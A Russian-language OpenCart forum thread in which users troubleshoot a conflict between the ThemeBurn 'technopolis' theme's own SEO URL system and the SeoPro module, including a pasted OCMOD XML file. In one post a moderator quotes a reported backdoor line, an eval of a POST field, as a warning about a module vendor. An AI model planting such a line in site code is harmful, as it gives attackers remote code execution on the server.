[Помогите] Неработает SEOpro с шаблом technopolis

Тема в разделе "OpenCart", создана пользователем perepela21, 10 фев 2017.

  1. perepela21

    perepela21

    Регистрация:
    9 ноя 2012
    Сообщения:
    285
    Симпатии:
    95
    Здравствуйте.
    Проблема нужно подружить шаблон technopolis с seopro. Движок остори 2.1.
    ссылка на демо шаблона http://demo.themeburn.com/technopolis/1/#
    админка http://demo.themeburn.com/technopol...rRJVkfgn8kgDiH5Tlw#tb_cp_panel_theme_settings

    если сеопро включен в настройках то товар и категории отображается но при переходе в карточку товара страница не найдена ошибка.
    при отключении сеопро в карточку товара заходит но в конце названия товара отсутсвует .html
    с отсутствием на конце .html я решил при помощи модуля Complete SEO Package в настройках добавил чтобы оканчивалось на .html . Это от проблем избавит или кривые костыли?
    Потом заметил другую проблему, например вкладка регистрация при наведении на нее показывается index.php?route=account/register, а при переходе все нормально /create-account/ . И вопрос как его поисковики скушают.?

    Менять шаблон на другой не предлагать, т.к. в нем более гибкие настройки, меняешь любые вкладки как угодно не то что в наших типа названных адаптивных шаблонах, кроме смены цвета и напиханных модулей нечего нет.
     
    Последнее редактирование: 10 фев 2017
  2. ashtray

    ashtray Главный по попкам!

    Регистрация:
    13 ноя 2012
    Сообщения:
    335
    Симпатии:
    72
    дело не в шаблоне, а ваших настройках, и Complete SEO Package не обязательно ставить чтоб изменить окончание, все это делается в стандартных настройках СЕО
     
  3. Dotrox

    Dotrox Команда форума

    Регистрация:
    27 ноя 2012
    Сообщения:
    3.198
    Симпатии:
    1.306
    Да нет, как ни странно, но похоже, что дело таки в шаблоне. Посмотрите на ссылки страниц товаров - в ОК таких ссылок не бывает, так что, видимо, там своя система SEO ссылок.

    perepela21, а что у вас в настройках шаблона на первой вкладке последней кнопки бокового меню (там где Pretty System URLs и Redirect to SEO urls)?
     
  4. perepela21

    perepela21

    Регистрация:
    9 ноя 2012
    Сообщения:
    285
    Симпатии:
    95
    проблема в шаблоне к сожалению, т.к. полазил тажа проблема с шаблоном Journal, кривое сео свое (((, а стандартное сео не работает если работает то товар не отображается ошибка. вот я и изворачивался при помощи Complete SEO что то изобразить :Biggrin:, одно сделал другое накрылось (((
    Dotrox
    Pretty System UR вкл
    Redirect to SEO urls выкл
    все по умолчанию
     
    Последнее редактирование: 11 фев 2017
  5. samuel_L

    samuel_L

    Регистрация:
    6 окт 2012
    Сообщения:
    221
    Симпатии:
    132
    Вам нужен модуль сео от Addist - он адаптирован под темы ThemeBurn. Они всегда много меняют под себя
     
    perepela21 нравится это.
  6. Dotrox

    Dotrox Команда форума

    Регистрация:
    27 ноя 2012
    Сообщения:
    3.198
    Симпатии:
    1.306
    Не нужен. И любой другой модуль от него тоже.
    Недавно была тёмная история о том, что Addist оставляет в своих модулях бекдоры, в результате все его модули сняли с продажи на Опенкартфорум.

    perepela21, я думаю, тут поможет только напильник (если там ИонКуба нет).
     
    perepela21 нравится это.
  7. perepela21

    perepela21

    Регистрация:
    9 ноя 2012
    Сообщения:
    285
    Симпатии:
    95
    вроде без ионкуба.
    окмод файл от их сеомодуля может там, что то напилить можно .
    сам шаблон

    Код:
    <?xml version="1.0" encoding="utf-8"?>
    <modification>
        <name>BurnEngine `SEO pack`</name>
        <code>tbExtensionSeo</code>
        <version>{{version}}</version>
        <author>ThemeBurn Ltd</author>
        <link>http://www.themeburn.com</link>
    
        <file path="catalog/controller/startup/seo_url.php">
            <operation>
                <search><![CDATA[
                class ControllerStartupSeoUrl extends Controller {
                ]]></search>
                <add position="after"><![CDATA[
                private $url_prefix;
                private $language_id;
                public static $new_route;
                public static $pretty_urls;
                public static $use_original_table = null;
                public static $use_original_table_fallback;
                ]]></add>
            </operation>
            <operation>
                <search><![CDATA[
                public function index() {
                ]]></search>
                <add position="before"><![CDATA[
                public function setUrlLanguageCode($language_code)
                {
                    $this->url_prefix = !empty($language_code) ? (string) $language_code . '/' : '';
                }
                public function setUrlLanguageId($language_id)
                {
                    $this->language_id = (int) $language_id;
                }
                ]]></add>
            </operation>
            <operation>
                <search><![CDATA[
                public function index() {
                ]]></search>
                <add position="after"><![CDATA[
                if($this->registry->get('tbEngine') instanceof TB_Engine) {
                    $this->registry->get('tbEngine')->getEventDispatcher()->notify(new sfEvent($this, 'oc:ControllerCommonSeoUrl/index'));
                }
                ]]></add>
            </operation>
            <operation>
                <search><![CDATA[
                parse_str($url_info['query'], $data);
                ]]></search>
                <add position="after"><![CDATA[
                $data2 = $data;
                ]]></add>
            </operation>
            <operation>
                <search><![CDATA[
                return $url
                ]]></search>
                <add position="before"><![CDATA[
                $url = '/' . $this->url_prefix . ltrim($url, '/');
                ]]></add>
            </operation>
            <operation>
                <search><![CDATA[
                $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "url_alias WHERE keyword = '" . $this->db->escape($part) . "'");
                ]]></search>
                <add position="replace"><![CDATA[
                $use_original_table = null !== self::$use_original_table ? self::$use_original_table : true;
                if (!$use_original_table) {
                    $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "burnengine_url_alias WHERE keyword = '" . $this->db->escape($part) . "' AND language_id = " . $this->language_id);
                    if (!$query->num_rows && self::$use_original_table_fallback) {
                        $use_original_table = true;
                    }
                }
                if ($use_original_table) {
                    $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "url_alias WHERE keyword = '" . $this->db->escape($part) . "'");
                }
                ]]></add>
            </operation>
            <operation>
                <search><![CDATA[
                $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "url_alias WHERE `query` = '" . $this->db->escape($key . '=' . (int)$value) . "'");
                ]]></search>
                <add position="after"><![CDATA[
                $use_original_table = null !== self::$use_original_table ? self::$use_original_table : true;
                if (!$use_original_table) {
                    $query2 = $this->db->query("SELECT * FROM " . DB_PREFIX . "burnengine_url_alias WHERE `query` = '" . $key . '=' . (int) $value . "' AND language_id = " . $this->language_id);
                    if ($query2->num_rows or !self::$use_original_table_fallback) {
                        $query = $query2;
                    }
                }
                ]]></add>
            </operation>
            <operation>
                <search><![CDATA[
                $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "url_alias WHERE `query` = 'category_id=" . (int)$category . "'");
                ]]></search>
                <add position="replace"><![CDATA[
                $use_original_table = null !== self::$use_original_table ? self::$use_original_table : true;
                if (!$use_original_table) {
                    $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "burnengine_url_alias WHERE `query` = 'category_id=" . (int) $category . "' AND language_id = " . $this->language_id);
                    if (!$query->num_rows && self::$use_original_table_fallback) {
                        $use_original_table = true;
                    }
                }
                if ($use_original_table) {
                    $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "url_alias WHERE `query` = 'category_id=" . (int)$category . "'");
                }
                ]]></add>
            </operation>
            <operation error="skip">
                <search><![CDATA[
                } elseif ($key == 'path') {
                ]]></search>
                <add position="before" trim="false"><![CDATA[
                } elseif ($key != 'path') {
                    $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "url_alias WHERE `query` = '" . $this->db->escape($value) . "'");
    
                    if ($query->num_rows) {
                        $url .= '/' . $query->row['keyword'];
                        unset($data[$key]);
                    }
                ]]></add>
            </operation>
            <operation>
                <search><![CDATA[
                foreach ($parts as $part) {
                ]]></search>
                <add position="before"><![CDATA[
                if (null !== self::$new_route) {
                    $parts = array();
                    $this->request->get['route'] = self::$new_route;
                }
                ]]></add>
            </operation>
            <operation>
                <search><![CDATA[
                if ($url)
                ]]></search>
                <add position="before"><![CDATA[
                if (self::$pretty_urls) {
                    if (empty($url) && !empty($data['route'])) {
                        $url = '/' . $data['route'];
    
                        if ($url == '/product/category') {
                            $data['path'] = $data2['path'];
                        }
                    }
                    $url == '/common/home' && ($url = '/');
                } else {
                    if (empty($url) && !empty($data['route']) && $this->url_prefix) {
                        $query = '';
                        $route = $data['route'];
    
                        unset($data['route']);
    
                        foreach ($data as $key => $value) {
                            $query .= '&' . rawurlencode((string)$key) . '=' . rawurlencode((is_array($value) ? http_build_query($value) : (string)$value));
                        }
    
                        $query = str_replace('&', '&amp;', trim($query, '&'));
    
                        $link = $url_info['scheme'] . '://' . $url_info['host'] . (isset($url_info['port']) ? ':' . $url_info['port'] : '') . str_replace('/index.php', '', $url_info['path']) . '/' . $this->url_prefix . '?route=' . $route . $query;
                    }
                }
                ]]></add>
            </operation>
            <!-- gte[2.3.0.0] -->
    
            <!-- /gte[2.3.0.0] -->
        </file>
    
        <file path="admin/view/template/catalog/product_form.tpl|admin/view/template/catalog/category_form.tpl|admin/view/template/catalog/manufacturer_form.tpl|admin/view/template/catalog/information_form.tpl">
            <operation>
                <search><![CDATA[
                <input type="text" name="keyword" value="<?php echo $keyword; ?>" placeholder="<?php echo $entry_keyword; ?>" id="input-keyword" class="form-control" />
                ]]></search>
                <add position="replace"><![CDATA[
                    <?php
                        $language_keywords = false;
                        if (defined('TB_SEO_MOD') && class_exists('TB_Engine') && TB_Engine::hasInstance()) {
                            $seo_settings = TB_Engine::instance()->getThemeData()->getSeoSettings();
                            if ($seo_settings['multilingual_keywords']) {
                                $language_keywords = TB_Engine::instance()->getThemeData()->getItemLanguageKeywords();
                            }
                        }
                    ?>
                    <?php if ($language_keywords): ?>
                        <div class="input-group"  style="width: 300px;">
                          <input type="text" name="keyword" value="<?php echo $keyword; ?>" placeholder="<?php echo $entry_keyword; ?>" id="input-keyword" class="form-control" />
                          <span class="input-group-addon">
                            <img src="<?php echo $language_keywords['original']['url']; ?><?php echo $language_keywords['original']['image']; ?>" title="<?php echo $language_keywords['original']['name']; ?>" />
                          </span>
                        </div>
                        <?php foreach($language_keywords['additional'] as $language ) { ?>
                        <br />
                        <div class="input-group" style="width: 300px;">
                          <input type="text" name="language_keyword[<?php echo $language['id']; ?>]" value="<?php echo $language['keyword']; ?>" class="form-control" />
                          <span class="input-group-addon">
                            <img src="<?php echo $language_keywords['original']['url']; ?><?php echo $language['image']; ?>" title="<?php echo $language['name']; ?>" />
                          </span>
                        </div>
                        <?php } ?>
                        <style type="text/css">input[name="keyword"], input[name^="language_keyword"] { width: 350px !important; }</style>
                    <?php else: ?>
                        <input type="text" name="keyword" value="<?php echo $keyword; ?>" placeholder="<?php echo $entry_keyword; ?>" id="input-keyword" class="form-control" />
                    <?php endif; ?>
                ]]></add>
            </operation>
        </file>
    
        <file path="admin/model/catalog/product.php|admin/model/catalog/category.php|admin/model/catalog/manufacturer.php|admin/model/catalog/information.php">
            <operation>
                <search><![CDATA[
                if ($data['keyword']) {
                ]]></search>
                <add position="before"><![CDATA[
                if (defined('TB_SEO_MOD') && class_exists('TB_Engine') && TB_Engine::hasInstance()) {
                    $query = '';
                    $entity_name = '';
                    $entity_id = '';
                    foreach (array('ModelCatalogProduct' => 'product', 'ModelCatalogCategory' => 'category', 'ModelCatalogManufacturer' => 'manufacturer', 'ModelCatalogInformation' => 'information') as $entity_class => $entity_name) {
                        if (get_class($this) == $entity_class && !empty(${$entity_name . '_id'})) {
                            $entity_id = (int) ${$entity_name . '_id'};
                            break;
                        }
                    }
                    $data = TB_Engine::instance()->getThemeData()->insertItemLanguageKeywords($data, $entity_name, $entity_id);
                    $event = new sfEvent($this, 'oc:updateEntity', array(
                        'entity_name' => $entity_name,
                        'entity_id'   => $entity_id,
                        'data'        => $data
                    ));
                    TB_Engine::instance()->getEventDispatcher()->notify($event);
                }
                ]]></add>
            </operation>
        </file>
    
        <file path="admin/model/catalog/product.php|admin/model/catalog/category.php">
            <operation>
                <search><![CDATA[
                'meta_keyword'     => $result['meta_keyword'],
                ]]></search>
                <add position="before"><![CDATA[
                'meta_title' => $result['meta_title'],
                ]]></add>
            </operation>
        </file>
    
        <file path="admin/model/localisation/language.php">
            <operation>
                <search><![CDATA[
                $this->db->query("DELETE FROM " . DB_PREFIX . "information_description WHERE language_id = '" . (int)$language_id . "'");
                ]]></search>
                <add position="replace" offset="2"><![CDATA[
                if (defined('TB_SEO_MOD') && class_exists('TB_Engine') && TB_Engine::hasInstance()) {
                    TB_Engine::instance()->getThemeData()->getItemLanguageKeywords('information_id');
                }
                ]]></add>
            </operation>
        </file>
    
        <file path="catalog/view/theme/BurnEngine/template/common/language.tpl">
            <operation>
                <search><![CDATA[
                <a href="javascript:;"
                ]]></search>
                <add position="replace"><![CDATA[
                <a href="<?php echo isset($language['current_url']) ? $language['current_url'] : 'javascript:;'; ?>"
                ]]></add>
            </operation>
        </file>
    
        <file path="system/engine/loader.php">
            <operation>
                <search><![CDATA[
                final class Loader {
                ]]></search>
                <add position="before"><![CDATA[
                define('TB_SEO_MOD', true);
                ]]></add>
            </operation>
        </file>
    
    </modification>
     
  8. Dotrox

    Dotrox Команда форума

    Регистрация:
    27 ноя 2012
    Сообщения:
    3.198
    Симпатии:
    1.306
    Так, может, просто весь этот файл выкинуть?
    Оно прописывается в seo_url.php, так что не удивительно, что с SeoPro страницы не открываются, но адаптировать это под SeoPro будет не самой простой задачей.
     
  9. perepela21

    perepela21

    Регистрация:
    9 ноя 2012
    Сообщения:
    285
    Симпатии:
    95
    а если выкинуть строки которые отвечают за смену самих ссылок например контакты, регистрация, аккаунт и т.п. а сами катигории, товары оставить т.к. вроде норм отображаются при помощи Complete SEO Package
     
  10. samuel_L

    samuel_L

    Регистрация:
    6 окт 2012
    Сообщения:
    221
    Симпатии:
    132
    Dotrox, не знаю, доказательств, кроме воды в рассылке от опенкартфорума я не видел (если есть где - я почитаю с удовольствием). А то, что опенкартфорум + снастики и прочие не дружат с аддистом - это общеизвестная информация. Какой бэкдор? Где? В какой файле? Что он делает? Какие по факту проблемы были? Конкретики 0. А если брать в общем, то еще тьма модулей и шаблонов имеют разного рода уязвимости, хоть на опенкартфоруме, хоть хо тимфоресте.

    Поэтому здесь каждый выбирает, что ему нравится. У меня модуль аддиста, причем "вылеченный", работает на паре-тройке проектов и 0 проблем. Для меня это было оптимальным решением, но тут, повторюсь, каждый сам выбирает
     
  11. Dotrox

    Dotrox Команда форума

    Регистрация:
    27 ноя 2012
    Сообщения:
    3.198
    Симпатии:
    1.306
    Ну, я знаю только то, о чём писали, а писали, например, о таком:
    PHP:
    @eval($this->request->post['command']);
    А было ли там такое или нет - это уже на совести писавших (надеюсь, она у них есть).
    Собственно, сам Addist ведь не отрицает ничего, но утверждает, что его взломали и добавили код в его модули. И даже, если это правда, то где уверенность в том, что такое не повториться?
     
    samuel_L нравится это.
  12. perepela21

    perepela21

    Регистрация:
    9 ноя 2012
    Сообщения:
    285
    Симпатии:
    95
    не знаю что натыкал в модулях Complete SEO Package и в самом модуле сеопро шаблона, но вроде стало корректно работать все норм. только подскажите как наверняка проверить есть ли дубли на сайте или нет. тогда спокойней будет.